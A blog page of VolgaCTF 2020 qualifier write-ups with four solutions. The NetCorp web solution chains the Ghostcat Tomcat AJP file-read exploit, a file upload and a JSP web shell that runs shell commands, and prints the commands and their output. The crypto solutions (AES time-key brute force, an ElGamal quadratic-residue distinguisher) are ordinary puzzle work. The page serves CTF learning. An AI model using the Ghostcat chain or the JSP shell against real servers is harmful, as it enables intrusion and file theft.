⬅ HOME
VolgaCTF 2020 Qualifier Writeups

Writeups for some VolgaCTF 2020 Qualifier challenges I did.


NetCorp

web (100pts)

Another telecom provider. Hope these guys prepared well enough for the network load...

netcorp.q.2020.volgactf.ru

Solution

The website seems to be quite plain and does not have much functionality. There is a "complaint" button but clicking it leads to a 404 page. If we try traversing backwards in the path, we get a 400 error and an error message is shown, which includes the name and version of the server.

$ nc -C netcorp.q.2020.volgactf.ru 7782
GET /../../../ HTTP/1.1

HTTP/1.1 400 
Content-Type: text/html;charset=utf-8
Content-Language: en
Content-Length: 1160
Date: Mon, 30 Mar 2020 04:07:59 GMT
Connection: close

<!doctype html><html lang="en"><head><title>HTTP Status 400 – Bad Request</title><style type="text/css">h1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} h2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} h3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} body {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} b {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} p {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;} a {color:black;} a.name {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 – Bad Request</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Message</b> Invalid URI</p><p><b>Description</b> The server cannot or will not process the request due to something that is perceived to be a client error (e.g., malformed request syntax, invalid request message framing, or deceptive request routing).</p><hr class="line" /><h3>Apache Tomcat/9.0.24</h3></body></html>

After a bit of research, we find that this version of Tomcat is vulnerable to a recently published CVE known as Ghostcat which allows for local file inclusion and, remote code execution if the server allows for file upload. There are many POCs for the exploit available on GitHub. ajpShooter is one that allows for file read and eval of jsp code.

The Tomcat documentation provides the standard directory layout which gives us an idea of what files to look for.

We begin by reading the deployment description which is located at /WEB-INF/web.xml and provides a mapping for servlets and paths.

$ python ajpShooter.py http://netcorp.q.2020.volgactf.ru:7782 8009 /WEB-INF/web.xml read

       _    _         __ _                 _            
      /_\  (_)_ __   / _\ |__   ___   ___ | |_ ___ _ __ 
     //_\\ | | '_ \  \ \| '_ \ / _ \ / _ \| __/ _ \ '__|
    /  _  \| | |_) | _\ \ | | | (_) | (_) | ||  __/ |   
    \_/ \_// | .__/  \__/_| |_|\___/ \___/ \__\___|_|   
         |__/|_|                                        
                                                00theway,just for test
    

[<] 200 200
[<] Accept-Ranges: bytes
[<] ETag: W/"1000-1585246342000"
[<] Last-Modified: Thu, 26 Mar 2020 18:12:22 GMT
[<] Content-Type: application/xml
[<] Content-Length: 1000

<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
  <display-name>NetCorp</display-name>
  
  
  <servlet>
  	<servlet-name>ServeScreenshot</servlet-name>
  	<display-name>ServeScreenshot</display-name>
  	<servlet-class>ru.volgactf.netcorp.ServeScreenshotServlet</servlet-class>
  </servlet>
  
  <servlet-mapping>
  	<servlet-name>ServeScreenshot</servlet-name>
  	<url-pattern>/ServeScreenshot</url-pattern>
  </servlet-mapping>


	<servlet>
		<servlet-name>ServeComplaint</servlet-name>
		<display-name>ServeComplaint</display-name>
		<description>Complaint info</description>
		<servlet-class>ru.volgactf.netcorp.ServeComplaintServlet</servlet-class>
	</servlet>

	<servlet-mapping>
		<servlet-name>ServeComplaint</servlet-name>
		<url-pattern>/ServeComplaint</url-pattern>
	</servlet-mapping>

	<error-page>
		<error-code>404</error-code>
		<location>/404.html</location>
	</error-page>

  
  
</web-app>

We see that there are two interesting servlets: ServeScreenshot and ServeComplaint. We can dump the class files for these using ajpShooter:

python ajpShooter.py http://netcorp.q.2020.volgactf.ru:7782 8009 /WEB-INF/classes/ru/volgactf/netcorp/ServeComplaintServlet.class read -o complaint.class

python ajpShooter.py http://netcorp.q.2020.volgactf.ru:7782 8009 /WEB-INF/classes/ru/volgactf/netcorp/ServeScreenshotServlet.class read -o screenshot.class

These are Java class files, but we can use a decompiler (e.g. JAD) to retrieve the Java source code.

$ jad -s java *class

We get the two Java source code files ServeComplaintServlet.java and ServeScreenshotServlet.java.

The ServeComplaintServlet class doesn't have anything interesting in it, so we don't include it. However, the ServeScreenshotServlet class handles a route which allows for file upload.

ServeScreenshotServlet.java:

// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(3) 
// Source File Name:   ServeScreenshotServlet.java

package ru.volgactf.netcorp;

import java.io.*;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.Collection;
import java.util.Iterator;
import javax.servlet.*;
import javax.servlet.http.*;

public class ServeScreenshotServlet extends HttpServlet
{

    public ServeScreenshotServlet()
    {
        System.out.println("ServeScreenshotServlet Constructor called!");
    }

    public void init(ServletConfig config)
        throws ServletException
    {
        System.out.println("ServeScreenshotServlet \"Init\" method called");
    }

    public void destroy()
    {
        System.out.println("ServeScreenshotServlet \"Destroy\" method called");
    }

    protected void doPost(HttpServletRequest request, HttpServletResponse response)
        throws ServletException, IOException
    {
        String appPath = request.getServletContext().getRealPath("");
        String savePath = (new StringBuilder()).append(appPath).append("uploads").toString();
        File fileSaveDir = new File(savePath);
        if(!fileSaveDir.exists())
            fileSaveDir.mkdir();
        String submut = request.getParameter("submit");
        if(submut != null)
            if(submut.equals("true"));
        PrintWriter out = request.getParts().iterator();
        do
        {
            if(!out.hasNext())
                break;
            Part part = (Part)out.next();
            String fileName = extractFileName(part);
            fileName = (new File(fileName)).getName();
            String hashedFileName = generateFileName(fileName);
            String path = (new StringBuilder()).append(savePath).append(File.separator).append(hashedFileName).toString();
            if(!path.equals("Error"))
                part.write(path);
        } while(true);
        out = response.getWriter();
        response.setContentType("application/json");
        response.setCharacterEncoding("UTF-8");
        out.print(String.format("{'success':'%s'}", new Object[] {
            "true"
        }));
        out.flush();
    }

    private String generateFileName(String fileName)
    {
        String s2;
        StringBuilder sb;
        MessageDigest md = MessageDigest.getInstance("MD5");
        md.update(fileName.getBytes());
        byte digest[] = md.digest();
        s2 = (new BigInteger(1, digest)).toString(16);
        sb = new StringBuilder(32);
        int i = 0;
        for(int count = 32 - s2.length(); i < count; i++)
            sb.append("0");

        return sb.append(s2).toString();
        NoSuchAlgorithmException e;
        e;
        e.printStackTrace();
        return "Error";
    }

    private String extractFileName(Part part)
    {
        String contentDisp = part.getHeader("content-disposition");
        String items[] = contentDisp.split(";");
        String as[] = items;
        int i = as.length;
        for(int j = 0; j < i; j++)
        {
            String s = as[j];
            if(s.trim().startsWith("filename"))
                return s.substring(s.indexOf("=") + 2, s.length() - 1);
        }

        return "";
    }

    private static final String SAVE_DIR = "uploads";
}

We see that uploaded files are being placed into /uploads/ but with a filename generated by the generateFileName function. If we can upload a malicious jsp file, guess the filename, and exploit the Ghostcat vulnerability to eval it, we should be able to achieve code execution.

Instead of trying to reverse engineer what the generateFileName function is doing, we can just copy the code and run it to generate the filename for us:

FileName.java:

import java.io.PrintStream;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;

public class FileName {
    static String generateFileName(String s) {
        try {
            String s1;
            StringBuilder stringbuilder;
            MessageDigest messagedigest = MessageDigest.getInstance("MD5");
            messagedigest.update(s.getBytes());
            byte abyte0[] = messagedigest.digest();
            s1 = (new BigInteger(1, abyte0)).toString(16);
            stringbuilder = new StringBuilder(32);
            int i = 0;
            for(int j = 32 - s1.length(); i < j; i++)
                stringbuilder.append("0");

            return stringbuilder.append(s1).toString();
        } catch(NoSuchAlgorithmException e) {
            return "Bad";
        }
    }

    public static void main(String args[]) {
        String s = args[0];
        System.out.println(generateFileName(s));
    }
}

And our malicious jsp payload that we'll upload via the /ServeScreenshot route:

malicious.jsp:

<%@ page import="java.util.*,java.io.*"%>
<% 
String cmd = "cat flag.txt";
out.println("Command: " + cmd);
Process p = Runtime.getRuntime().exec(cmd);
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
        out.println(disr); 
        disr = dis.readLine(); 
}
%>

All that's left is to put the pieces together!

First we upload the file:

$ http -f POST http://netcorp.q.2020.volgactf.ru:7782/ServeScreenshot [email protected]

HTTP/1.1 200 
Content-Type: application/json;charset=ISO-8859-1
Date: Mon, 30 Mar 2020 04:37:01 GMT
Transfer-Encoding: chunked

{'success':'true'}

We then generate the filename:

$ javac FileName.java
$ java FileName malicious.jsp
be3562dbb6d7471dd8a96790687cfd4c

Then we use ajpShooter to eval the jsp code on the server:

$ python ajpShooter.py http://netcorp.q.2020.volgactf.ru:7782 8009 /uploads/be3562dbb6d7471dd8a96790687cfd4c eval

       _    _         __ _                 _            
      /_\  (_)_ __   / _\ |__   ___   ___ | |_ ___ _ __ 
     //_\\ | | '_ \  \ \| '_ \ / _ \ / _ \| __/ _ \ '__|
    /  _  \| | |_) | _\ \ | | | (_) | (_) | ||  __/ |   
    \_/ \_// | .__/  \__/_| |_|\___/ \___/ \__\___|_|   
         |__/|_|                                        
                                                00theway,just for test
    

[<] 200 200
[<] Set-Cookie: JSESSIONID=CAD711DEA4FD70DED1E788B40A3CC7C5; Path=/; HttpOnly
[<] Content-Type: text/html;charset=ISO-8859-1
[<] Content-Length: 99


Command: cat flag.txt
VolgaCTF{qualification_unites_and_real_awesome_nothing_though_i_need_else}

Which reveals the flag!


Alternative

crypto (50pts)

This task is alternative.

alternative.q.2020.volgactf.ru:7780/

Solution

When we navigate to the page (in Chromium), we get a ERR_CERT_AUTHORITY_INVALID warning (by Chromium) telling us that the TLS certificate is self signed. If we proceed despite the warning, we see that the page is very bare. Looking through the details of the certificate, we see a field named Certificate Subject Alternative Name which lists the string s0.many.fields.in.certificate.com as a DNS name. It turns out VolgaCTF{s0.many.fields.in.certificate.com} is the flag.


Noname

crypto (100pts)

I have Noname; I am but two days old.

encrypted:

uzF9t5fs3BC5MfPGe346gXrDmTIGGAIXJS88mZntUWoMn5fKYCxcVLmNjqwwHc2sCO3eFGGXY3cswMnO7OZXOw==

encryptor.py:

from Crypto.Cipher import AES
from secret import flag
import time
from hashlib import md5


key = md5(str(int(time.time()))).digest()
padding = 16 - len(flag) % 16
aes = AES.new(key, AES.MODE_ECB)
outData = aes.encrypt(flag + padding * hex(padding)[2:].decode('hex'))
print outData.encode('base64')

Solution

We notice in the encryptor script that the key being used is the md5 hexdigest of the current time. The description hints that this script was run two days ago (from the time of the CTF start, presumably) so we simply bruteforce the key with this in mind:

from Crypto.Cipher import AES
from base64 import b64decode
import time
from hashlib import md5

enc = b64decode(open('encrypted').read())

for i in range(-24*60*60*3, 0):
    key = md5(str(int(time.time()+i))).digest()
    aes = AES.new(key, AES.MODE_ECB)
    f = aes.decrypt(enc)
    if 'Volga' in f:
        print(f)
$ python2 solve.py
VolgaCTF{5om3tim3s_8rutf0rc3_i5_th3_345iest_w4y}

Guess

crypto (200pts)

Try to guess all encrypted bits and get your reward!

nc guess.q.2020.volgactf.ru 7777

We are also given the script that runs on the server:

#!/usr/bin/python
# -*- coding: utf-8 -*-
from __future__ import print_function
from Crypto.PublicKey import ElGamal
from Crypto import Random
from flag_file import flag
import Crypto.Random.random
import time
import sys


"""
    Communication utils
"""

def read_message():
    return sys.stdin.readline()


def send_message(message):
    sys.stdout.write('{0}\r\n'.format(message))
    sys.stdout.flush()


def eprint(*args, **kwargs):
    print(*args, file=sys.stderr, **kwargs)


"""
    Algebra
"""

def kronecker(x, p):
    q = (p - 1) / 2
    return pow(x, q, p)


def findQNR(p):
    r = Crypto.Random.random.randrange(2, p - 1)
    while kronecker(r, p) == 1:
        r = Crypto.Random.random.randrange(2, p-1)
    return r


def findQR(p):
    r = Crypto.Random.random.randrange(2, p - 1) 
    return pow(r, 2, p)


"""
    Main
"""

if __name__ == '__main__':
    try:
        while True:
            key = ElGamal.generate(512, Random.new().read)
            runs = 1000
            successful_tries = 0

            send_message('(y, p) = ({0}, {1})'.format(key.y, key.p))

            for i in xrange(runs):
                plaintexts = dict()
                plaintexts[0] = findQNR(key.p)
                plaintexts[1] = findQR(key.p)

                challenge_bit = Crypto.Random.random.randrange(0,2)
                eprint('[{0}][INFO] Bit {1} was generated.'.format(time.strftime("%Y-%m-%d. %H:%M:%S"), challenge_bit))
                r = Crypto.Random.random.randrange(1,key.p-1) 
                challenge = key.encrypt(plaintexts[challenge_bit], r)

                # Send challenge
                send_message(challenge)

                # Receive challenge_bit
                received_bit = read_message()
                eprint('[{0}][INFO] Bit {1} was received.'.format(time.strftime("%Y-%m-%d. %H:%M:%S"), received_bit))
                if int(received_bit) == challenge_bit:
                    successful_tries += 1
                    eprint(successful_tries)
                    
            if successful_tries == runs:
                send_message(flag)

    except Exception as ex:
        send_message('Something must have gone very, very wrong...')
        eprint('[{0}][ERROR] {1}'.format(time.strftime("%Y-%m-%d. %H:%M:%S"), ex))

    finally:
        pass

Solution

We see that the ElGamal cryptosystem is being used. In order to get the flag, we must successfully solve a challenge set by the server 1000 times. The answer to each challenge is either 0 or 1, but since we must solve 1000 of these challenges, it is not feasible to bruteforce and guess the answers.

We notice that in each challenge, there are two plaintexts being encrypted. We will call plaintexts[0] s0s_0 (or s0) and plaintexts[1] s1s_1 (or s1). These plaintexts are generated by the findQNR function and findQR function respectively. Then, the server uses ElGamal to encrypt this plaintext and sends the encryption to us. Our goal is to figure out which plaintext was sent.

Before we attempt to find the vulnerability in the challenge, we must first understand some important concepts. Firstly, we need to understand how ElGamal encryption works, and we need to understand what quadratic residues are.

Mathematical Concepts/Notation

Fp\mathbb{F}_p denotes the ring of integers modulo pp. Fp\mathbb{F}_p^* denotes the group of units modulo pp, that is, the set {1,2,3,,p1}\{1, 2, 3, \ldots, p - 1 \} (because pp is prime).

An element gFpg \in \mathbb{F}_p^* is called a generator of Fp\mathbb{F}_p^* if its powers generate every element of Fp\mathbb{F}_p^*. i.e.

Fp={1,g,g2,g3,,gp2}\mathbb{F}_p^* = \{1, g, g^2, g^3, \ldots, g^{p-2} \}

If pp is prime, such an element always exists.

ElGamal Cryptosystem

The ElGamal cryptosystem is a public key cryptosystem whose security is based on the discrete logarithm problem.

Key Generation: Alice chooses a large prime number pp and a number gFpg \in \mathbb{F}_p^* that is a generator for Fp\mathbb{F}_p^*. She then chooses a secret number xx and computes y=gx(modp)y = g^x \pmod p. She publishes (g,p,y)(g, p, y) as her public key.

Encryption: Suppose Bob wants to send Alice a message mm using Alice's public key. He generates a random number rr such that 1r<p1 \leq r < p. He then computes

c1gr(modp)and c2myr(modp)c_1 \equiv g^r \pmod p \text{\hspace{0.2in} and \hspace{0.2in}} c_2 \equiv my^r \pmod p

and sends (c1,c2)(c_1, c_2) as the ciphertext.

Decryption: Decryption isn't involved in this challenge, but it isn't hard to show that Alice can retrieve the plaintext by computing

mc2(c1x)1(modp)m \equiv c_2(c_1^x)^{-1} \pmod p

Quadratic Residues

Definition (Quadratic Residue): Let pp be an odd prime and let aa be a number such that pp does not divide aa. If there exists a number cc such that c2a(modp)c^2 \equiv a \pmod p, then we say that aa is a quadratic residue modulo pp, otherwise, we say that aa is a quadratic nonresidue modulo pp.

Proposition (Quadratic Residue Properties): Let pp be an odd prime number.

  • (i) The product of two quadratic residues modulo pp is a quadratic residue modulo pp.
  • (ii) The product of a quadratic residue and a quadratic nonresidue modulo pp is a quadratic nonresidue modulo pp.
  • (iii) The product of two quadratic nonresidues modulo pp is a quadratic residue modulo pp.

Proof. This proof uses Fermat's Little Theorem which states that ap11(modp)a^{p-1} \equiv 1 \pmod p for prime pp and for integers aa such that pp does not divide aa.

Let gFpg \in \mathbb{F}_p^* be a generator for Fp\mathbb{F}_p^*. We claim that even powers of gg are quadratic residues modulo pp. This claim can be proved with a proof by contradiction. Suppose that g2k+1g^{2k+1} is a quadratic residue modulo pp. Then

g2k+1m2(modp)g^{2k+1} \equiv m^2 \pmod p

for some integer mm. From Fermat's Little Theorem, we know that mp11(modp)m^{p-1} \equiv 1 \pmod p. So

mp1(m2)p12(g2k+1)p12gk(p1)gp12(gp1)kgp12gp12(modp)m^{p-1} \equiv (m^2)^{\frac{p-1}{2}} \equiv (g^{2k+1})^{\frac{p-1}{2}} \equiv g^{k(p-1)} \cdot g^{\frac{p-1}{2}} \equiv (g^{p-1})^k \cdot g^{\frac{p-1}{2}} \equiv g^{\frac{p-1}{2}} \pmod p

which implies gp121(modp)g^{\frac{p-1}{2}} \equiv 1 \pmod p. But this contradicts the fact that gg is a generator for Fp\mathbb{F}_p^* as there can only be one value of ll with 0l<p10 \leq l < p-1 such that gl1(modp)g^l \equiv 1 \pmod p (that value is 00).

Next, we let aa and bb be quadratic residues modulo pp, and let cc and dd be quadratic nonresidues modulo pp. We can write

ax2(modp)by2(modp)cw2j+1(modp)dz2k+1(modp)\begin{aligned} a &\equiv x^2 \pmod p \\ b &\equiv y^2 \pmod p \\ c &\equiv w^{2j+1} \pmod p \\ d &\equiv z^{2k+1} \pmod p \end{aligned}

To prove (i), we see that

abx2y2(xy)2(modp)ab \equiv x^2 y^2 \equiv (xy)^2 \pmod p

and so abab is a quadratic residue modulo pp.

To prove (ii), we see that

acx2w2j+1(modp)ac \equiv x^2w^{2j+1} \pmod p

which cannot be expressed to an even power, hence, is a quadratic nonresidue modulo pp.

Tp prove (iii), we see that

cdw2j+1z2k+1wz2j+2k+2(wzj+k+1)2(modp)cd \equiv w^{2j+1}z^{2k+1} \equiv wz^{2j + 2k + 2} \equiv (wz^{j+k+1})^2 \pmod p

and so cdcd is a quadratic residue modulo pp.

Solving the challenge

The findQNR function uses Euler's Criterion to find a quadratic nonresidue modulo pp. The findQR function returns a quadratic residue modulo pp. We see that s0s_0 is a quadratic nonresidue modulo pp and s1s_1 is a quadratic residue modulo pp. Our goal has become to determine whether or not the plaintext value being encrypted was a quadratic nonresidue or a quadratic residue. We are given c1gr(modp)c_1 \equiv g^r \pmod p and c2myr(modp)c_2 \equiv my^r \pmod p and yy and pp. Is there a way to determine whether mm is a quadratic residue or not from these values?

Notice that if yy is a quadratic residue, then c2c_2 is a quadratic residue if and only if mm is a quadratic residue.

Else, if yy is a quadratic nonresidue, whether or not c2c_2 is a quadratic residue will depend on c1c_1 (this is beacuse yrgrx(modp)y^r \equiv g^{rx} \pmod p). If c1c_1 is a quadratic residue, then c2c_2 is a quadratic residue if and only if mm is a quadratic residue. Else, if c1c_1 is a quadratic nonresidue, then c2c_2 is a quadratic residue if and only if mm is a quadratic nonresidue.

In summary:

If y is a QR:
    c2 is a QR iff M is a QR

If y is a QNR:
    if c1 is a QR:
        c2 is a QR iff M is a QR
    if c1 is a QNR:
        c2 is a QR iff M is a QNR

We can now write our exploit script:

from pwn import remote

def ec(x, p):
    q = (p - 1) / 2
    return pow(x, q, p)

def qr(x, p):
    return ec(x, p) == 1

conn = remote('guess.q.2020.volgactf.ru', 7777)

y, p = map(int, conn.recvline().split('= (')[1][:-3].split(', '))

for i in range(1000):
    c1, c2 = eval(conn.recvline())

    b = ''
    if qr(y, p):
        if qr(c2, p):
            b = '1'
        else:
            b = '0'
    else:
        if qr(c1, p):
            if qr(c2, p):
                b = '1'
            else:
                b = '0'
        else:
            if qr(c2, p):
                b = '0'
            else:
                b = '1'
    conn.sendline(b)
    print('challenge', i)
print(conn.recvline())

Flag: VolgaCTF{B3_c4r3ful_with_4lg0rithm5_impl3m3nt4ti0n5}